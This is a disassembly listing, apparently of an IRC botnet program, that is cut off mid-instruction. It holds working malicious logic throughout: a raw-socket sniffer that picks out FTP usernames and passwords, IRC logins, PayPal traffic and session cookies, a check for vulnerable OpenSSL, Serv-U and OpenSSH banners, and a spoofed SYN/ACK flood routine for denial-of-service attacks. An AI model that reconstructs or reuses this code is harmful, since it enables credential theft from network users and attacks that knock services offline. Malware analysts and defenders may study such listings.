sub_412775+291j push [ebp+arg_0] jmp short loc_412A19 ; --------------------------------------------------------------------------- loc_412A12: ; CODE XREF: sub_412775+287j ; sub_412775+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax ; Source loc_412A19: ; CODE XREF: sub_412775+29Bj lea eax, [ebp+Dst] push eax ; Dest call _strcat pop ecx pop ecx loc_412A27: ; CODE XREF: sub_412775+12Ej ; sub_412775+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_44BEB4 jl loc_41285F cmp [ebp+var_4], 0 jz loc_4127D0 push [ebp+var_D8] call sub_40BA72 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_412775 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A56 proc near ; DATA XREF: sub_401CC7+4124o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h Str = byte ptr -1028Ch Dest = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h Dst = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call __alloca_probe mov edx, [ebp+arg_0] push esi push edi push 1 pop eax mov esi, edx push 25h lea edi, [ebp+var_B4] pop ecx mov [ebp+var_8], eax rep movsd mov [edx+90h], eax xor esi, esi push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4E30F8 ; htons push [ebp+var_B4] mov [ebp+var_1A], ax call sub_40AF71 pop ecx push eax call dword_4E3138 ; inet_addr push esi push 3 push 2 mov [ebp+var_18], eax call dword_4E3178 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jnz short loc_412B2B call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44C7EC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412B0E push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D34 add esp, 14h loc_412B0E: ; CODE XREF: sub_412A56+96j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_30] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_412B2B: ; CODE XREF: sub_412A56+76j mov eax, [ebp+var_30] push 10h imul eax, 234h mov dword_456024[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4E3124 ; bind cmp eax, 0FFFFFFFFh jnz short loc_412BB0 call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44C818 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412B8C push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D34 add esp, 14h loc_412B8C: ; CODE XREF: sub_412A56+114j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push [ebp+var_30] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_412BB0: ; CODE XREF: sub_412A56+F4j push esi lea eax, [ebp+var_20] push esi push eax push esi push esi lea eax, [ebp+var_8] push 4 push eax push 98000001h push edi call dword_4E30A4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_412C33 call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44C844 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_28], esi jnz short loc_412C0F push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D34 add esp, 14h loc_412C0F: ; CODE XREF: sub_412A56+197j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push [ebp+var_30] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread loc_412C33: ; CODE XREF: sub_412A56+177j push ebx mov ebx, offset a_login ; ":.login" loc_412C39: ; CODE XREF: sub_412A56+21Bj ; sub_412A56+22Dj ... mov edi, 0FFFFh lea eax, [ebp+var_102B4] push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_102B4] push esi push edi push eax push [ebp+var_4] call dword_4E3110 ; recv cmp eax, 0FFFFFFFFh jz loc_412D66 cmp [ebp+var_102AB], 6 jnz short loc_412C39 mov eax, [ebp+var_102A8] cmp [ebp+var_10293], 18h mov [ebp+var_C], eax jnz short loc_412C39 lea eax, [ebp+Str] push offset aPsniff_0 ; "[PSNIFF]" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412C39 lea eax, [ebp+Str] push offset asc_44C8AC ; "-" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412C39 mov eax, ebx xor edi, edi test eax, eax jz loc_412C39 mov [ebp+arg_0], ebx loc_412CC2: ; CODE XREF: sub_412A56+287j push eax ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412CE4 inc edi add [ebp+arg_0], 18h mov eax, [ebp+arg_0] jnz short loc_412CC2 jmp loc_412C39 ; --------------------------------------------------------------------------- loc_412CE4: ; CODE XREF: sub_412A56+27Dj lea eax, [ebp+Str] push eax push [ebp+var_102A0] call dword_4E3028 ; htons movzx eax, ax push eax push [ebp+var_C] call dword_4E3184 ; inet_ntoa push eax lea eax, [edi+edi*2] mov eax, dword_44BF94[eax*8] push off_44BF70[eax*4] lea eax, [ebp+Dest] push offset asc_44C8BC ; "-" push 200h ; Count push eax ; Dest call __snprintf add esp, 1Ch cmp [ebp+var_28], esi jnz short loc_412D54 push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D34 add esp, 14h loc_412D54: ; CODE XREF: sub_412A56+2DCj lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx jmp loc_412C39 ; --------------------------------------------------------------------------- loc_412D66: ; CODE XREF: sub_412A56+20Ej call dword_4E308C ; WSAGetLastError push eax push offset asc_44C874 ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 10h cmp [ebp+var_28], esi pop ebx jnz short loc_412DAC push esi ; int lea eax, [ebp+Dest] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+var_B0] push eax ; Str push [ebp+var_B4] ; int call sub_409D34 add esp, 14h loc_412DAC: ; CODE XREF: sub_412A56+334j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push [ebp+var_4] call dword_4E3190 ; closesocket push [ebp+var_30] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread sub_412A56 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412DD2 proc near ; CODE XREF: sub_4130E1+213p ; sub_4130E1+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4E5EA8, eax mov eax, offset dword_4E5EA8 retn sub_412DD2 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412DE1(char *Str) sub_412DE1 proc near ; CODE XREF: sub_4130E1+2BFp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aBotSniff ; "Bot sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412DFB loc_412DF7: ; CODE XREF: sub_412DE1+29j ; sub_412DE1+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412DFB: ; CODE XREF: sub_412DE1+14j push offset a0 ; "#0#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412DF7 push offset aPsniff_1 ; "[PSNIFF]:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412DF7 push offset aPsniff_2 ; "PSNIFF//" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412DF7 push offset aJoin_1 ; "JOIN #" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412E43 loc_412E3F: ; CODE XREF: sub_412DE1+71j ; sub_412DE1+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412E43: ; CODE XREF: sub_412DE1+5Cj push offset a302 ; "302 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset a366 ; "366 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset a_login_0 ; ":.login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset aLogin_0 ; ":!login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset aLogin_1 ; ":!Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset a_login_1 ; ":.Login" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset a_ident ; ":.ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412E3F push offset aIdent_0 ; ":!ident" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412E3F push offset a_hashin ; ":.hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz loc_412E3F push offset aHashin ; ":!hashin" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412DE1 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412EF8(char *Str) sub_412EF8 proc near ; CODE XREF: sub_4130E1+2F8p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aIrcSniff ; "IRC sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F12 loc_412F0E: ; CODE XREF: sub_412EF8+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F12: ; CODE XREF: sub_412EF8+14j push offset a0 ; "#0#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F0E push offset aOper ; "OPER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F38 loc_412F34: ; CODE XREF: sub_412EF8+4Fj ; sub_412EF8+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F38: ; CODE XREF: sub_412EF8+3Aj push offset aNick_2 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F34 push offset aOper_0 ; "oper " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F34 push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EF8 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412F6E(char *Str) sub_412F6E proc near ; CODE XREF: sub_4130E1+32Ep Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aFtpSniff ; "FTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412F88 loc_412F84: ; CODE XREF: sub_412F6E+29j ; sub_412F6E+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F88: ; CODE XREF: sub_412F6E+14j push offset a0 ; "#0#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F84 push offset aNick_3 ; "NICK " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412F84 push offset a220 ; "220 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_412FBF loc_412FBB: ; CODE XREF: sub_412F6E+60j ; sub_412F6E+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412FBF: ; CODE XREF: sub_412F6E+4Bj push offset a230 ; "230 " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FBB push offset aUser_2 ; "USER " push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_412FBB push offset aPass_0 ; "PASS " push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412F6E endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_412FF5(char *Str) sub_412FF5 proc near ; CODE XREF: sub_4130E1+35Fp Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aHttpSniff ; "HTTP sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41300F loc_41300B: ; CODE XREF: sub_412FF5+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41300F: ; CODE XREF: sub_412FF5+14j push offset a0 ; "#0#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41300B push offset aPaypal ; "paypal" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413035 loc_413031: ; CODE XREF: sub_412FF5+4Fj ; sub_412FF5+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413035: ; CODE XREF: sub_412FF5+3Aj push offset aPaypal_0 ; "PAYPAL" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413031 push offset aPaypal_com ; "PAYPAL.COM" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413031 push offset aPaypal_com_0 ; "paypal.com" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413031 push offset aSetCookie ; "Set-Cookie:" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412FF5 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41307C(char *Str) sub_41307C proc near ; CODE XREF: sub_4130E1:loc_4134A6p Str = dword ptr 4 push esi mov esi, [esp+4+Str] push offset aVulnSniff ; "VULN sniff" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_413096 loc_413092: ; CODE XREF: sub_41307C+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413096: ; CODE XREF: sub_41307C+14j push offset a0 ; "#0#" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_413092 push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4130BC loc_4130B8: ; CODE XREF: sub_41307C+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130BC: ; CODE XREF: sub_41307C+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_4130B8 push offset aOpenssh_2 ; "OpenSSH_2" push esi ; Str call _strstr pop ecx test eax, eax pop ecx pop esi setnz al retn sub_41307C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4130E1 proc near ; DATA XREF: sub_401CC7+4276o Dst = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h Str = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h Dest = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4E310C ; gethostname lea eax, [ebp+var_3B8] push eax call dword_4E317C ; gethostbyname movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx ; Size push dword ptr [eax] ; Src lea eax, [ebp+var_8] push eax ; Dst call _memcpy mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4E3178 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413187 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413187: ; CODE XREF: sub_4130E1+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4E3124 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4131FD call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CA64 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4131D9 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D34 add esp, 14h loc_4131D9: ; CODE XREF: sub_4130E1+D6j lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push [ebp+var_34] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_4131FD: ; CODE XREF: sub_4130E1+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4E30A4 ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_413283 call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_44CA90 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41325F push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D34 add esp, 14h loc_41325F: ; CODE XREF: sub_4130E1+15Cj lea eax, [ebp+Dest] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push [ebp+var_34] call sub_40BA72 pop ecx push ebx call ds:dword_4F53A0 ; ExitThread loc_413283: ; CODE XREF: sub_4130E1+13Cj mov esi, 200h loc_413288: ; CODE XREF: sub_4130E1+1D6j ; sub_4130E1+1FBj ... mov edi, 0FFFFh lea eax, [ebp+Dst] push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push edi push eax push [ebp+var_10] call dword_4E3110 ; recv cmp [ebp+var_113AF], 6 jnz short loc_413288 push [ebp+var_113A4] mov edi, ds:dword_4F5500 call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413288 cmp [ebp+arg_0], 19h jz short loc_413288 cmp edi, 6Eh jz short loc_413288 cmp edi, 19h jz short loc_413288 push [ebp+var_113AC] call sub_412DD2 pop ecx push dword ptr [eax] call ds:dword_4F5504 ; inet_ntoa push eax lea eax, [ebp+var_13B8] push offset aS_34 ; "%s" push eax ; Dest call _sprintf push [ebp+var_113A8] call sub_412DD2 add esp, 10h push dword ptr [eax] call ds:dword_4F5504 ; inet_ntoa push eax lea eax, [ebp+var_BB8] push offset aS_35 ; "%s" push eax ; Dest call _sprintf lea eax, [ebp+Str] mov [ebp+var_4], ebx push eax ; Str call _strlen add esp, 10h test eax, eax jle short loc_413386 loc_413352: ; CODE XREF: sub_4130E1+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+Str], 0Dh lea eax, [ebp+eax+Str] jnz short loc_413369 mov byte ptr [eax], 20h loc_413369: ; CODE XREF: sub_4130E1+283j cmp byte ptr [eax], 0Ah jnz short loc_413371 mov byte ptr [eax], 20h loc_413371: ; CODE XREF: sub_4130E1+28Bj inc [ebp+var_4] lea eax, [ebp+Str] push eax ; Str call _strlen cmp [ebp+var_4], eax pop ecx jl short loc_413352 loc_413386: ; CODE XREF: sub_4130E1+26Fj cmp [ebp+arg_0], 50h jz loc_413439 cmp edi, 50h jz loc_413439 lea eax, [ebp+Str] push eax ; Str call sub_412DE1 test al, al pop ecx jz short loc_4133CD lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CAC8 jmp loc_413468 ; --------------------------------------------------------------------------- loc_4133CD: ; CODE XREF: sub_4130E1+2C7j cmp edi, 50h jz short loc_413439 lea eax, [ebp+Str] push eax ; Str call sub_412EF8 test al, al pop ecx jz short loc_413403 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CAFC jmp short loc_413468 ; --------------------------------------------------------------------------- loc_413403: ; CODE XREF: sub_4130E1+300j cmp edi, 50h jz short loc_413439 lea eax, [ebp+Str] push eax ; Str call sub_412F6E test al, al pop ecx jz short loc_413439 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CB30 jmp short loc_413468 ; --------------------------------------------------------------------------- loc_413439: ; CODE XREF: sub_4130E1+2A9j ; sub_4130E1+2B2j ... lea eax, [ebp+Str] push eax ; Str call sub_412FF5 test al, al pop ecx lea eax, [ebp+Str] push eax jz short loc_4134A6 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset asc_44CB64 ; "-" loc_413468: ; CODE XREF: sub_4130E1+2E7j ; sub_4130E1+320j ... lea eax, [ebp+Dest] push esi ; Count push eax ; Dest call __snprintf add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413288 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_30] ; int push eax ; int lea eax, [ebp+var_B4] push eax ; Str push [ebp+var_B8] ; int call sub_409D34 add esp, 14h jmp loc_413288 ; --------------------------------------------------------------------------- loc_4134A6: ; CODE XREF: sub_4130E1+36Ej call sub_41307C test al, al pop ecx jz loc_413288 lea eax, [ebp+Str] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_44CB9C jmp short loc_413468 sub_4130E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134D4 proc near ; DATA XREF: sub_401CC7+65C3o Dest = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_20C = byte ptr -20Ch var_18C = dword ptr -18Ch Str = byte ptr -10Ch Str1 = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand lea eax, [ebp+var_18C] push eax ; int lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+var_20C] push eax ; Str lea eax, [ebp+var_28C] push eax ; int call sub_4138C0 add esp, 14h push eax lea eax, [ebp+Dest] push offset asc_44CBD4 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_413567 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_294] ; int call sub_409D34 add esp, 14h loc_413567: ; CODE XREF: sub_4134D4+71j lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_290] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_4134D4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_413589(int,int,char *Str1,int,int) sub_413589 proc near ; CODE XREF: sub_4138C0+40p var_284 = byte ptr -284h Dest = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h Dst = byte ptr -8Ch Src = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Str1 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4E3068 ; WSAStartup test eax, eax jz short loc_4135C9 xor eax, eax jmp loc_4138BC ; --------------------------------------------------------------------------- loc_4135C9: ; CODE XREF: sub_413589+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4E319C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4138B4 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4138AA push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4E30F8 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4E30F8 ; htons push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4E30F8 ; htons mov [ebp+var_12], ax call _rand movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4E30F8 ; htons push 12345678h mov [ebp+var_14], ax call dword_4E30F4 ; htonl push offset aDdos_syn_0 ; "ddos.syn" mov [ebp+var_10], eax push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_413699 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4136ED ; --------------------------------------------------------------------------- loc_413699: ; CODE XREF: sub_413589+105j push offset aDdos_ack_0 ; "ddos.ack" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4136B5 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4136ED ; --------------------------------------------------------------------------- loc_4136B5: ; CODE XREF: sub_413589+121j push offset aDdos_random_0 ; "ddos.random" push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4136ED call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4136ED: ; CODE XREF: sub_413589+10Ej ; sub_413589+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4E30F8 ; htons mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+Str1], ebx call ds:dword_4F540C ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call ds:dword_4F5408 ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call __allmul add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_41373B: ; CODE XREF: sub_413589+2E2j ; sub_413589+2F0j mov [ebp+var_4], bx call _rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4E30F8 ; htons mov [ebp+var_14], ax call _rand mov edi, eax shl edi, 10h call _rand or edi, eax push edi call dword_4E30F8 ; htons movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4E30F4 ; htonl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4E30F8 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+Src], eax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, [ebp+var_94] push eax ; Dst call _memcpy lea eax, [ebp+var_B4] push 34h push eax call sub_40AFCA mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi ; Size push eax ; Src lea eax, [ebp+var_B4] push eax ; Dst call _memcpy lea eax, [ebp+var_14] push esi ; Size push eax ; Src lea eax, 